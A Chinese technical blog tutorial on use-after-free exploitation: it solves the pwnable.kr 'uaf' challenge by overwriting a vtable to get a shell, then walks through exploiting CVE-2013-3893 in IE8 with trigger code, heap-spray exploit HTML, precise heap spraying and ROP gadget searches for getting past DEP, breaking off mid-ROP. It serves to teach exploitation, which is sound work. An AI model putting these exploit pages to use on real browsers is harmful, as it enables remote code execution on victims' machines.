关键词:

UAF 精确堆喷射 ROP DEP

0x01通过一道PWN题理解UAF

1.1UAF基础概念

UAF漏洞全称为use after free,即释放后重用。漏洞产生的原因,在于内存在被释放后,但是指向指针并没有被删除,又被程序调用。比较常见的类型是C++对象,利用UAF修改C++的虚函数表导致的任意代码执行。

在了解UAF是导致任意代码执行的细节,首先让我们了解几个概念:

悬挂指针、内存占坑、C++虚函数

实验源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
// UAFv1.cpp : 定义控制台应用程序的入口点。
//
#include<iostream>
using namespace std;
#include "stdafx.h"
#include<stdio.h>
#include<Windows.h>
#define size 32


class Base
{
public :
int base;
virtual void f(){ cout<<"Base::f()"<<endl;}
virtual void g(){cout<<"Base::g()"<<endl;}
virtual void h(){cout<<"Base::h()"<<endl;}
};
class Child:public Base
{
public:
int child;
void f(){cout<<"Child::f()"<<endl;}
void g1(){cout<<"Child::g1()"<<endl;}
void h1(){cout<<"Child::h1()"<<endl;}
};

int _tmain(int argc, _TCHAR* argv[])
{
char *buf1;
char * buf2;
//Lab1
buf1=(char *)malloc(size);
printf("buf1:0x%p\n",buf1);
free(buf1);

buf2=(char *)malloc(size);
printf("buf2:0x%p\n",buf2);

memset(buf2,0,size);
printf("buf2:%d\n",*buf2);

printf("====Use Afrer Free====\n");
strncpy(buf1,"hack",5);
printf("buf2:%s\n\n",buf2);

free(buf2);
//Lab2
Base *B=new Base();
Base *C=new Child();



getchar();
return 0;
}


1.1.1悬挂指针(Dangling pointer)

指向被释放的对象内存的指针。

成因:释放掉后没有将指针重置为null,导致指针依旧可以访问,并且继续指向已经释放的内存.UAF便是调用悬挂指针(多为C++对象),通过对这段内存提前的设计,使得程序调用我们设计好的程序。

案例程序中,为buf1分配了一段32字节的空间,然后将其释放。

但是当使用strncpy对已经释放的buf1拷贝字符串时,发现被free的buf1依然是可以访问的,并且指向的内存没有变化。


释放后的buf1依然指向原来的内存,此时的buf1就是一个悬挂指针。


1.1.2占坑

了解堆分配的占坑机制,需要了解SLUB系统内存分配机制。和SLAB不同,这种利用方法对对象类型没有限制,两个对象只要大小差不多就可以重用同一块内存,也就是说我们释放掉对象A以后马上再申请对象B,只要两者大小相同,那么B就很有可能重用A的内存。

见案例中,释放buf1时,buf1指向0xa35470的内存。而在buf1释放之后,立即分配一个相同大小的内存给buf2指针,发现buf2获取的指针指向的就是buf1被释放的内存地址。

这就是buf2占坑了buf1的内存空间。

此时发散一下思维,buf2可控,而buf1仍然指向buf2的内存空间,是不是就有可能造成程序出现问题。

1.1.3虚函数

C++中的虚函数的作用主要是实现了多态的机制。简而言之就是用父类型别的指针指向其子类的实例,然后通过父类的指针调用实际子类的成员函数。这种技术可以让父类的指针有“多种形态”。代码表现形式就是C++类中Virtaul开头的函数。

同时C++的虚函数是漏洞攻击的重点对象,C++对象中有一个非常重要的结构–虚函数表。

覆盖C++虚函数造成的漏洞利用技术的风靡程度,不亚于经典栈溢出的覆盖手法。更重要的是覆盖虚函数表还可以从本质上绕过GS等内存保护机制,这里不展开说了。

详细的逆向分析,非常推荐《C++反汇编揭秘》这本书,将虚函数的反汇编代码和C++代码进行对比,理解会比较深刻。

代码分别实例化了Base和Child为B和C,查看内存结构。

Base对象B的首地址存放_vfptr(虚函数表),指向三个虚函数f()、g()、 h()

Child对象C的首地址是对基类(Base)的一个拷贝,值得注意的是Base类里的虚函数表,这里的f()函数被Child重写,g和h函数则依然指向Base实例化时其在虚函数表中的地址。

C的第二个地址则指向自己的虚函数表。

这些继承关系,可以简单概括为下面三张图。

S369oH

接下来我们观察代码是如何生成C++虚函数表的。

首先v2=operator new(8u) 对应Base *B=new Base()实例化对象,v2为指向对象的指针。

实例化对象之后,C++会将虚函数表的地址放在对象内存的开头。

5AOsD4

进入sub_411140函数之后经过二次跳转进入sub_4117A0函数

1
2
3
text:004117C3                 mov     eax, [ebp+var_8]

.text:004117C6 mov dword ptr [eax], offset ??_7Base@@6B@ ; const Base::`vftable'

mov操作将虚函数表地址放到[eax]的位置,而此时eax的值就是通过上层函数传递下来的v2的指针。所以这段代码就完成了将虚表放置到对象头部的效果。

这一步骤之后,也就能理解为什么虚函数表会在对象表头,同时这个操作也是我们用来判断C++对象创建的一个非常好的信号,还可以获取这个对象的头部地址和虚表。

j8XKXz

1.2通过PWN题掌握UAF

在掌握了基础之后,我们可以拿pwnalbe.kr 的UAF题来快速理解利用原理。

使用scp下载二进制文件和源码(密码:guest)

1
2
3
$ scp -P2222 uaf@pwnable.kr:/home/uaf/uaf  /Users/p0kerface/

$ scp -P2222 uaf@pwnable.kr:/home/uaf/uaf.cpp /Users/p0kerface/

主要思路便是利用占坑的方法,向被释放的空间写入数据覆盖vfptr(虚函数表),然后调用悬挂指针完成UAF,这题非常经典值得在做UAF之前的复习。

调试过程中,意识到自己阅读C++的反汇编水平还是不够,类和对象没有源码只看IDA还是非常困难的。所以会把一些逆向的笔记记录下来。

程序源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
uaf.cpp


#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>

using namespace std;

class Human{
private:
virtual void give_shell(){
​ system("/bin/sh");
​ }

protected:
int age;
string name;

public:

virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
​ }

};



class Man: public Human{

public:
​ Man(string name, int age){
this->name = name;
this->age = age;
​ }
virtual void introduce(){
​ Human::introduce();
cout << "I am a nice guy!" << endl;
​ }

};



class Woman: public Human{

public:
​ Woman(string name, int age){
this->name = name;
this->age = age;
​ }

virtual void introduce(){
​ Human::introduce();
cout << "I am a cute girl!" << endl;

​ }

};



int main(int argc, char* argv[]){
​ Human* m = new Man("Jack", 25);
​ Human* w = new Woman("Jill", 21);

size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. use\n2. after\n3. free\n";
cin >> op;
switch(op){
case 1:
​ m->introduce();
​ w->introduce();
break;
case 2:
​ len = atoi(argv[1]);
​ data = new char[len];
​ read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
​ }
​ }

return 0;

}

1.2.1代码分析

通过IDA反汇编,不过C++的代码已经非常难以看懂了,代码主要分两大块解析。

第一部分是类和子类的定义,定义的父类Human和子类Man和Woman。其中父类包含get_shell函数,虽然子类并没有定义,但是通过继承关系可知,在实例化过程中,虚函数表中函数会包含这个函数。

第二部分就是类的实例化和use after free 三个功能。

接下来我们将程序重要的部分分析一下,以便理解漏洞。

(1)实例化对象

Human* m = new Man(“Jack”, 25);这句在IDA翻译如下,变量v3为实例化Man对象之后的指针。

P6blmu

找到对应的反汇编,0x400F13这个地方是对象实例化的函数,在call执行结束之后,EBX中便保存这Man对象的指针,即上文中的v3变量。可以通过gdb下断点进行调试。

当实例完对象之后,ebx存放的地址(0x401570),也就是前文中所说的虚函数表vfptr,指向的第一个函数Human继承下来的give_shell。

nTVxnH
SuwrBU
QP0fi9

让我们查看虚表的内存,可以看到Man的虚表中有两个函数。虚表偏移8字节便是introduce函数。u242hU

(2)调用方法

源代码

1
2
3
4
case 1:
​ m->introduce();
​ w->introduce();
​ break;

IDA中对应的伪代码

liuHkz

指针v13和v14分别对应实例化的Man和Woman,Woman的虚函数表的结构与Man是相同的(地址不同),所以不再赘述。

通过观察虚函数表结构,我们已经知道introduce为虚表表头偏移8个字节,所以便有了v13+8字节偏移。

这里就埋下一个伏笔,如果对虚表指针的地址进行改写,将虚表向前偏移8个字节,这样本来调用introduce方法就会调用getshell方法。

对应的反汇编如下,非常建议自己动态调试一遍,能够加深印象。

dwZ4eN

1.2.2UAF利用流程

(1)程序实例化Man和Women

(2)使用Free将Man和Women分别Free (free)

(3)再分配内存,这里我们需要分配24字节,为了占坑。(after)

nHULk7
因为24字节(0x18)和之前分配的Man和Women一样(上图所示),所以会发生占坑现象,也就是说程序会将之前被释放的Man和Women空间分配给这个指针。此时读取文件(poc)的内容,因为占坑之后内存指针指向的第一个字符就是,覆盖之前Man和Women的虚函数。

Poc的内容就是*$ python -c “print ‘\x68\x15\x40\x00\x00\x00\x00\x00’”> poc*

即0x401468=0x401570-8,原虚函数表地址-8字节。

(4)调用Man的悬挂指针,因为虚函数表被我们从poc读入的数据改写,调用intruduce会调用getshell

(5)利用结束

使用UAF修改C++虚表,改变程序流程。

调试过程中,建议下如下的断点,可以让程序停在关键的地方。也可以在调试过程中,多尝试用Ctrl+C呼叫程序暂停,然后设置断点。

1
2
3
4
5
6
7
8
gdb-peda$ b *0x400f13
Breakpoint 1 at 0x400f13
gdb-peda$ b *0x400fcd
Breakpoint 2 at 0x400fcd
gdb-peda$ b *0x40102d
Breakpoint 3 at 0x40102d
gdb-peda$ b *0x401076
Breakpoint 4 at 0x401076

根据如下的操作,我们很容易就获取了shell,注意传递参数poc文件

LDatJd
nUZJaz

小结

UAF在浏览器漏洞中多为对C++对象(虚函数)的修改,悬挂指针是UAF利用的关键,调用被Free的函数,如果这个函数的位置已经被别的对象占坑,进行了修改,那么调用悬挂指针就可能能够造成任意代码执行。结合Heap Spray会产生很好的效果。



0x02 IE浏览器UAF漏洞

调试环境:

  • Windows 7 SP1

  • IE8

  • 漏洞编号:CVE-2013-3893

该漏洞是的原理是,IE下的mshtml动态连接库将TreeNode对象从Dom树释放后,又重新调用对象的任意代码执行。是一个典型的浏览器UAF漏洞,最后使用精准堆喷射完成利用。

因为本文作者调试实例漏洞的功底有限,所以会漏洞如何发现以及利用部分,漏洞的原理和挖掘的讲解可能达不到高水平读者的要求,希望读者能谅解。

2.1漏洞分析

可以通过msf/exploit-db获取这个漏洞的POC,我们对其进行一些修改,方便我们的分析。

调试的poc代码如下

POC.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<!DOCTYPE html>
<html>
<head>
​ <title>Migraine</title>
</head>
<body>
​ Hello World!
<script type="text/javascript">
function trigger()
{
Math.tan(2,1);
var father=document.createElement("father");
var child=document.createElement("child");
Math.tan(1,2);
document.body.appendChild(father);
document.body.appendChild(child);
Math.sin(1,2);
​ child.applyElement(father);

​ father.onlosecapture=function() {
document.write("");
//alert("123");
​ }
Math.cos(1,2);
​ father['outerText']="";
Math.cos(1,2);
​ father.setCapture();
​ child.setCapture();
​ }
window.setTimeout("trigger()",1000);

​ </script>
</body>
</html>

2.1.1 基于POC的流程分析

首先要清楚POC的运行流程,通过createElement创建两个对象father和child

接着为两个对象分别创建两个结点。效果如图所示,标签下创建了标签。同时也会创建一个TreeNode对象。

2Y1gyh

将child作为father的子结点

*father[‘outerText’]=””*将元素本身赋值为空对象,这句会导致DOM树中所有father的子孙结点都被析构(fahter、child)也就是说TreeNode会从DOM上脱离。

father.setCapture();child.setCapture();father鼠标指针聚焦,child鼠标指针聚焦,导致father失焦,会触发father.onlosecapture=function()

document.write(“”);

漏洞触发的位置

在调用*document.write(“”);*时候,释放了TreeNode对象,但是在程序之后运行的函数中,使用了这个被释放的对象,导致了释放后重用漏洞。

POC调试

程序断点在了CTreeNode::GetInterface函数,call ecx指向的地址。

使用kv可以追踪函数的流程。按照这样的回溯也是可以分析漏洞的。不过为了更精确地找到造成中断的根源,我们开启页堆(page heap),这样程序在遇到堆结构被破坏时会更即使地断下。

OuISHi

使用Windbg的Global Flags工具开启page heap(页堆),选择Enable page heap选项。

不建议开启左下角的Enable heap tagging,会导致后面调试经常出问题。

zuvuws

再次运行POC,程序断点在了HasContainerCapture+0x14的位置。根据栈回溯,可以发现比之前的断点位置更靠前了一些。

0VjXso

使用kv查看栈回溯,使用ub查看具体触发的代码。

OE8PLn
QQJYry

我们再次查看HasContainerCapture+0x14的位置,发现他实际调用了一个已经被释放到对象TreeNode,从而造成了释放后重用(UAF)漏洞。

继续向下看,我们分析此时造成崩溃的EDI参数,!heap -p -a edi查看edi所在堆的状态。

可以看到EDI所指向的堆已经在!CTreeNode::Release被释放了。

V44Jjz
cLSvwl
tPbbzy

重新调试一遍,查看TreeNode对象(地址和上一次调试不同)在被释放前的空间为0x4c,所以只需要在被释放之后,用js立即分配一块相同大小的堆就能进行占位。

62zAnF

虽然知道POC触发了UAF漏洞,但是我们对这个漏洞的具体细节还一无所知,更不用提利用了。所以我们要从程序流程的角度来分析一下漏洞触发的原因。

接下来关闭页堆,进一步调试整个POC的触发的程序流程,以及UAF是如何造成影响的。

修改一下poc(增加了一段js,创建了一个div对象,具体原因下文会说明),继续调试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<!DOCTYPE html>
<html>
<head>
​ <title>Migraine</title>
</head>
<body>
​ Hello World!
<script type="text/javascript">
function trigger()
{
Math.tan(2,1);
var father=document.createElement("father");
var child=document.createElement("child");
Math.tan(1,2);
document.body.appendChild(father);
document.body.appendChild(child);
Math.sin(1,2);
​ child.applyElement(father);

​ father.onlosecapture=function() {
document.write("");
Math.cos(1,2);
​ tt = new Array(20);
for(i = 0; i < tt.length; i++) {
​ tt[i] = document.createElement('div');
​ tt[i].className = "\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c";

​ }
//alert("123");
​ }
Math.cos(1,2);
​ father['outerText']="";
Math.cos(1,2);
​ father.setCapture();
​ child.setCapture();
​ }
window.setTimeout("trigger()",1000);
​ </script>
</body>
</html>

首先对几个关键部分下断点,在POC中写入一些三角函数,例如tan、sin、cos这几个JS的函数主要是帮助我们判断程序运行到哪个位置,因为在程序汇总我们下断点到函数会反复地运行,可能会多次断下,但是不一定是我们需要到断点。(比如调试时候,tan还没断下来,CElement就断了好几次,这个断点就需要我们跳过)

下面是我下的断点,仅供参考。(到后期调试最后两个断点可以去掉)

1
2
3
4
5
6
7
0:016> bl
0 e 6d86d898 0001 (0001) 0:**** jscript!tan
2 e 6d86d6e9 0001 (0001) 0:**** jscript!sin
3 e 6d86d657 0001 (0001) 0:**** jscript!cos
4 e 6ba49fd3 0001 (0001) 0:**** mshtml!CElement::CElement
5 e 6b9caed1 0001 (0001) 0:**** mshtml!CMarkup::InsertElementInternal
6 e 6b9e5acf 0001 (0001) 0:**** mshtml!CElement::appendChild

首先断点在了tan,三角函数断点并不是必须的,但是在调试IE这样程序流复杂的对象时,可以帮助我们判断程序运行的位置。

4Ow3aO

第一个CElement::CElement断点,当然直接给createElement下断点也是可以的,但是要获取这个对象的指针,需要运行CElement+0x18的位置。此时EDI存放的便是Element对象的指针。

即var father=document.createElement(“father”);中的father

BhVzkf

9Hfnuy

为什么我们能判断此时的EDI是Element的对象指针呢,其实分析0x6ba49feb地址的这句语句,将C++的虚函数表地址放入了[EDI]的位置,这不就是C++ 初始化对象的行为嘛。对象的头部就是虚函数表。

Rmz0YH

第二个断点,也是同理,var child=document.createElement(“child”);中的child对象指针为2eebd88.

ojgyCe

中途再次断在tan,g继续运行

创建子结点father

document.body.appendChild(father);

igtWIh

创建了一个TreeNode对象,指针默认通过EAX值返回。

c5N0OD

TmeyeE

同理第二个子结点,也可以获取它的指针(child)

thVR8Z

运行结束之后,可以看一下目前的内存结构,发现已经形成了一个类似链表的结构。

查看内存空间,下图中从上到下分别是

Element对象father

子节点

Element对象child

Element对象child

uR4Qfh

结构图为

1
2
3
4
5
6
7
8
9
Element对象father(2eec048)    Element对象child(2eebd88)
​ | |
​ V V
子节点<father>(2ee8ac0) 子节点<child>(2ee8388)
^ ^
| |
------------------------------------
|
​ CBody_TreeNode(02f123a8)

而TreeNode则为我们这次释放后重用漏洞的利用对象,通过链表关系我们其实可以知道,调试过程中只需要获取fahter对象的指针,就能通过链表关系获取到TreeNode指针,下一次调试就会节省很多时间。

接下来程序断点在了sin函数,继续g运行,child.applyElement(father),直到运行到cos函数。

此时查看内存,能发现变成了的子结点。

Zh5FuG

结构图为

1
2
3
4
5
6
7
8
9
Element对象father(2eec048)    Element对象child(2eebd88)
​ | |
​ V V
子节点<father>(2ee8ac0) <-- 子节点<child>(2ee8388)
^
|
\-------------
|
​ CBody_TreeNode(02f123a8)

之后执行father[‘outerText’]=””会发现father以及他的子节点都被清空了。TreeNode也不在Dom树上了,但是这块内存指针依然存在。

使用!heap -p -a 02f123a8,发现这块内存依旧busy,size为4c

1
2
3
4
5
0:005> !heap -p -a 02f123a8
​ address 02f123a8 found in
​ _HEAP @ 200000
​ HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
​ 02f12390 000d 0000 [00] 02f123a8 0004c - (busy)

执行father.setCapture();child.setCapture();会触发father.onlosecapture函数

进而执行的document.write(“”)会将TreeNode释放

1
2
3
4
5
6
!heap -p -a 02f123a8,发现内存已经被free了
0:005> !heap -p -a 02f123a8
​ address 05118558 found in
​ _HEAP @ 200000
​ HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
​ 02f12390 000d 0000 [00] 02f12398 00060 - (free)

这里就需要划重点了,这个内存被释放了,而之后这个内存的指针依然存在,甚至还被程序调用了。这明显是一个UAF漏洞,这时我们要利用之前讲的占坑技术,申请一段和之前差不多大小的内存,就能成功控制这块内存。

于是此时我们可以使用Js申请多个与被释放对象相同大小的内存块,对其进行占位。(申请多个是为了保证Exp稳定性)

1
2
3
4
5
6
tt = new Array(20);
for(i = 0; i < tt.length; i++) {
​ tt[i] = document.createElement('div');
​ tt[i].className = "\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c";

​ }

使用javascript申请大量80字节左右的空间(78个0x0c+2个

1
tt[i].className = "\u1111\u2222\u3333\u4444\u1111\u2222\u3333\u4444\u1111\u2222\u3333\u4444\u1111\u2222\u3333\u4444\u1111\u2222\u3333\u4444\u1111\u2222\u3333\u4444\u1111\u2222\u3333\u4444\u1111\u2222\u3333\u4444\u1111\u2222\u2222\u3333\u4444\u1111";//替代\0c

查看TreeNode内存空间,发现占位成功。

1
2
3
4
5
0:005> !heap -p -a 02f123a8
​ address 02f123a8 found in
​ _HEAP @ 220000
​ HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
​ 02f12390 000d 0000 [00] 02f123a8 0004e - (busy)
1
2
3
4
5
0:005> dc 02f123a8
02f123a8 22221111 44443333 22221111 44443333 ..""33DD..""33DD
02f123b8 22221111 44443333 22221111 44443333 ..""33DD..""33DD
02f123c8 22221111 44443333 22221111 44443333 ..""33DD..""33DD
02f123d8 22221111 44443333 22221111 44443333 ..""33DD..""33DD

注意:建议覆写部分不要使用0c0c0c0c作为数据,因为后期使用精确堆喷射的时候,我们会修改0c0c0c0c地址的值,这样覆盖虚表地址为0c0c0c0c,而0c0c0c0c地址存放的并不是0c0c0c0c而是我们shellcode的开头。

继续运行,程序断在了GetInterface+0xac的位置,eax已经被赋值为了0x0c0c0c0c,说明这里调用了我们被释放的对象TreeNode。也就是我们占位成功,并且赋值给EAX。

不过这里还不是我们控制EIP的漏洞代码,因为这里[eax]不存在值所以程序就断下来了(EAX此时指向的应该是TreeNode虚函数表指针)。

接下来我们使用堆喷射将这段内存填充满值(0c0c0c0c)。

QOXXoe

我们增加一个HeapSpray函数,准备好堆喷射,具体堆喷射细节可以参考前辈给出的利用总结(下图)。此时再次运行我们的程序。

C5J4Oj

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
exp.html
<!DOCTYPE html>
<html>
<head>
​ <title>Migraine</title>
</head>
<body>
​ Hello World!
<script type="text/javascript">
function trigger()
{
Math.tan(2,1);
var father=document.createElement("father");
var child=document.createElement("child");
Math.tan(1,2);
document.body.appendChild(father);
document.body.appendChild(child);
Math.sin(1,2);
​ child.applyElement(father);

​ father.onlosecapture=function() {
​ Heapspray();
document.write("");
//Math.cos(1,2);
​ tt = new Array(20);
for(i = 0; i < tt.length; i++) {
​ tt[i] = document.createElement('div');
​ tt[i].className = "\u1111\u2222\u3333\u4444\u1111\u2222\u3333\u4444\u1111\u2222\u3333\u4444\u1111\u2222\u3333\u4444\u1111\u2222\u3333\u4444\u1111\u2222\u3333\u4444\u1111\u2222\u3333\u4444\u1111\u2222\u3333\u4444\u1111\u2222\u2222\u3333\u4444\u1111";//替代\0c
​ }
Math.sin(1,2);
//alert("123");
​ }

Math.cos(1,2);
​ father['outerText']="";
Math.cos(1,2);
​ father.setCapture();
​ child.setCapture();

function Heapspray()
{
var i=0;
​ shellcode="\u1234\u3456\u7890\u1234\u3456\u7890";
​ block="\u0c0c\u0c0c"
while(block.length<0x100000)
​ block+=block;
​ block=block.substring(0,0x100000/2-32/2-4/2-2/2-shellcode.length);
​ block+=shellcode;
var memory=new Array();
for(i=0;i<600;i++)
​ memory[i]=block.substring(0,block.length);
​ }
​ }
window.setTimeout("trigger()",1000);
​ </script>
</body>
</html>

6WBklBW9TYgu

程序跳转到了0x0c0c0c0c,通过栈回溯,很明显是在GetInterface函数中调用call [ecx],读取了TreeNode对象中的内容,完成了一次堆EIP的控制。

注:ECX的值来源

向前阅读,发现上一次运行的断点就在向上5行(详细情况读者可以看本文的上一小节),根据上文的分析mov ecx,[eax]此时的EAX的值是从被我们覆盖的TreeNode中读取的(已经被我们覆盖为了0c0c0c0c)。从EAX指向的地址读取字符给ECX,而堆空间中已经被堆满了0c0c0c0c,因此导致ECX也被赋值为了0c0c0c0c地址存放的数据(也是0c0c0c0c)。然后call [ecx]就发生了。

需要注意的是,在后期利用占位使用的字符尽量不要使用0c0c0c0c,因为这个空间会被我们安排ROP链,会导致[EAX]不能给ECX赋正确的值。(0c0c0c0c)

AtoXvh

通过利用这个UAF漏洞,我们最后成功控制了程序流。

LiRjWN

img

2.1.2 漏洞利用泛谈

UAF的部分到这里已经结束了。用大佬的说的一句话,就是漏洞和程序编写者有关,与系统无关。UAF漏洞是mshtml的一个内存漏洞,由漏洞能控制程序流。只要没有补丁,IE8在WinXP或者WIN10下,这个漏洞都是存在的。

区别在于利用难度,WIN XP SP1没有DEP,所以堆喷射一下就解决了。WIN 10开启了很复杂的保护,每周还有更新,利用难度非常高。

谈这点是的主要目的是什么呢,主要就是想表达自己最近领悟的一个观点。漏洞是客观存在的,与我们在什么系统下执行无关。能够利用,可能就要考验利用者的手法了。所以希望读者能明白,如果希望实现你UAF,那么原理和案例看到这里就够了。

并不是说利用手法不重要,而是希望自己能够对漏洞概念有一个更深刻的领会。

下文将尝试在WIN7下的对这个漏洞进行利用,使用ROP和精确堆喷射绕过DEP防护。

WIN7下的利用分析

使用mona插件,可以非常明显发现IE开启了DEP(IE本身没有开,但是mshtml开了),导致堆内的空间也不可执行。如果是XP环境,shellcode会被直接执行,但是在这里就需要使用ROP来绕过DEP。ASLR因为需要重启才会导致基础地址发生变化,所以我们本地测试暂时不做讨论。

绕过DEP的一般操作就是使用VirtualProtect关闭DEP,可以使用x kernel32!Virtual*查找这个函数的位置。如果ASLR的影响算在内,函数地址也不是稳定的。(kernel32的地址也会变化)

sVNpzM

在正式开始利用前,我们先做一个小实验:

在HeapSpray执行之后,查看0c0c0c0c的内存空间,发现已经被覆盖。

使用

1
ed <address> data

我们将0c0c0c0c地址的数据修改成了VirtualProtect的地址。

hx5wXH

成功跳转进入了函数。

1VKUE4

2.1.3精确堆喷射

目前需要解决的问题有二

一是我们的数据包括shellcode和ROP链是存放在堆中的,熟悉ROP的读者应该明白只有在栈中(或者伪造的栈)才能正常执行程序链。

二是程序开启了DEP,堆不可执行,除非ROP链的头部正好对准0c0c0c0c(或者我们制定的其他跳转地址),才能正常执行ROP,一个字节也不能差。但是堆喷射是一种不稳定的技术,ROP链的地址在堆中位置是不确定。

解决方案:

因为我们将ROP布置在堆中,不能像栈一样方便直接执行。这里可使用栈翻转技术解决,将ESP指向我们堆中的ROP,就和在栈中没有区别了。前文我们已经尝试了在0c0c0c0c的位置布置了一个指向VirtualProtect函数的指针,并且成功跳转了,目前只需要布置好ROP就行。

那就第二个问题,如何在将ROP链的头精确的放在0c0c0c0c的位置。具体细节可以阅读下面这两篇文章。关键字:精确堆喷射。通过这个技术我们能将ROP精准地对准0c0c0c0c。

链接1

链接2

HeapSpray.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<!DOCTYPE html>
<html>
<head>
​ <title></title>
</head>
<body>
<script type="text/javascript">
​ var sc="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
​ var nop="\u0c0c\u0c0c";
​ while(nop.length<0x100000)
​ nop+=nop;
​ nop=nop.substring(0,(0x80000-6)/2-sc.length);
​ code=sc+nop;
​ heap_chunks=new Array();
​ for(i=0;i<1000;i++)
​ {
​ heap_chunks[i]=code.substring(0,code.length);
​ }
</script>
</body>
</html>

查看0c0c0c0c的内存发现成功覆盖,但是我们需要到是能精准对将ROP链/Shellcode的头部对准0c0c0c0c的位置。

RZruTJ

查看0c0c0c0c堆块的堆头为0c0a0018。一个堆块对应我们使用JS分配的8MB的heap_chunk。

而UserPtr也就数据存放的开头为0c0a0030(一般来说是0c010020但是我调试时开了Enable heap tagging),查看这个区域我们输入数据头部就是从UserPtr+8的位置开始的。

PPJEwWmfYW6p

可以看出堆空间的起始地址的最后四位都变成了0018,UserPtr的最后四位则为0030.

这是在大量分配内存之后会产生的现象。

虽然每次分配的值地址不一定完全相同,比如第一次0c0c0c0c所在用户堆起始地址为0c0a0030,偏移为0x20bdc,而第二次则为0c0b0030,偏移为0x10bdc。

但是变化范围都是以0x10000为基数的,只需要在heap_chunk中以0x10000为单位配置好shellcode+nops的格式。最后heap_chunk整体加上偏移地址0xbdc,无论地址怎么变化,都能顺利让0c0c0c0c指向函数shellocode的起始地址。

pMuSXH

修改HeapSpray,成功利用heap-feng-shui技术将0c0c0c0c的位置精确定为我们shellcode的起始地址。代码如下。

7Db3lP

可以看到我们内存中每隔0x1000都会存在一个shellcode+nop的结构。这样能让0c0c0c0c具有某种程度上的稳定。

7JHx2w

HeapSpray.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<script type="text/javascript">
var sc="\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141";
var nop="\u0c0c\u0c0c";
var offset=0x5ee-4/2;//0xbdc/2-4/2
//以0x10000为单位的shellcode+nop结构单元
while(nop.length<0x10000)
​ nop+=nop;
var nop_chunk=nop.substring(0,(0x10000/2-sc.length)); //Unicode编码,所以0x10000/2个字节
var sc_nop=sc+nop_chunk;
//组合成单个大小为0x80000的堆块(heap-feng-shui)
while(sc_nop.length<0x100000)
​ sc_nop+=sc_nop;
​ sc_nop=sc_nop.substring(0,(0x80000-6)/2-offset);//组合成0x800000的堆块
var offset_pattern=nop.substring(0,offset);
​ code=offset_pattern+sc_nop;
​ heap_chunks=new Array();
for(i=0;i<1000;i++)
​ {
​ heap_chunks[i]=code.substring(0,code.length);
​ }
</script>
</body>
</html>

将这段代码替换poc中的heapspray函数,运行poc发现,程序成功跳转到41414141的位置。(因为0c0c0c0c地址已经被AAAA覆盖)

aHawbO

接下来只需要构造ROP链,使用VirtualProtect函数将0c0c0c0c开始的内存设置为可执行即可。大概参数可以

1
2
3
4
5
6
BOOL VirtualProtect(
shellcode 所在内存空间起始地址,
shellcode 大小,
0x40,
某个可写地址
);

可以使用mona插件快速寻找gadgets

1
2
3
!py mona findwild -s "mov esp,eax#*#retn"
0x760f0b51 | 0x760f0b51 (b+0x002b0b51) : mov esp,eax # dec ecx # retn
0x760e0ae2 | 0x760e0ae2 (b+0x002a0ae2) : mov esp,ecx # dec ecx # retn 4

2.1.4构造ROP链

翻转栈帧到堆空间

因为发生UAF之后,ESP指向的是当前的栈空间,而我们的rop链是放在heap里的。所以需要使用栈翻转,将esp指向我们堆中的rop链。这个部分也是非常有意思的。

步骤(0)首先eax是我们可控的参数(通过占位TreeNode),ecx的值来源为[eax],所以eax的值不能直接指向我们的rop链,因为这样ecx会读取不到正确的值,call [ecx]也就不能跳转。

步骤(1)ROP链头部必须执行栈翻转操作,否则rop链将无法成功执行。

看大佬的案例是寻找xchg指令,对esp进行赋值。但是我并没有找到很合适的gadget。

1
2
!py mona find -s "\x94\xc3" 或者!py mona.py findwild -s "xchg esp,eax#*#retn"
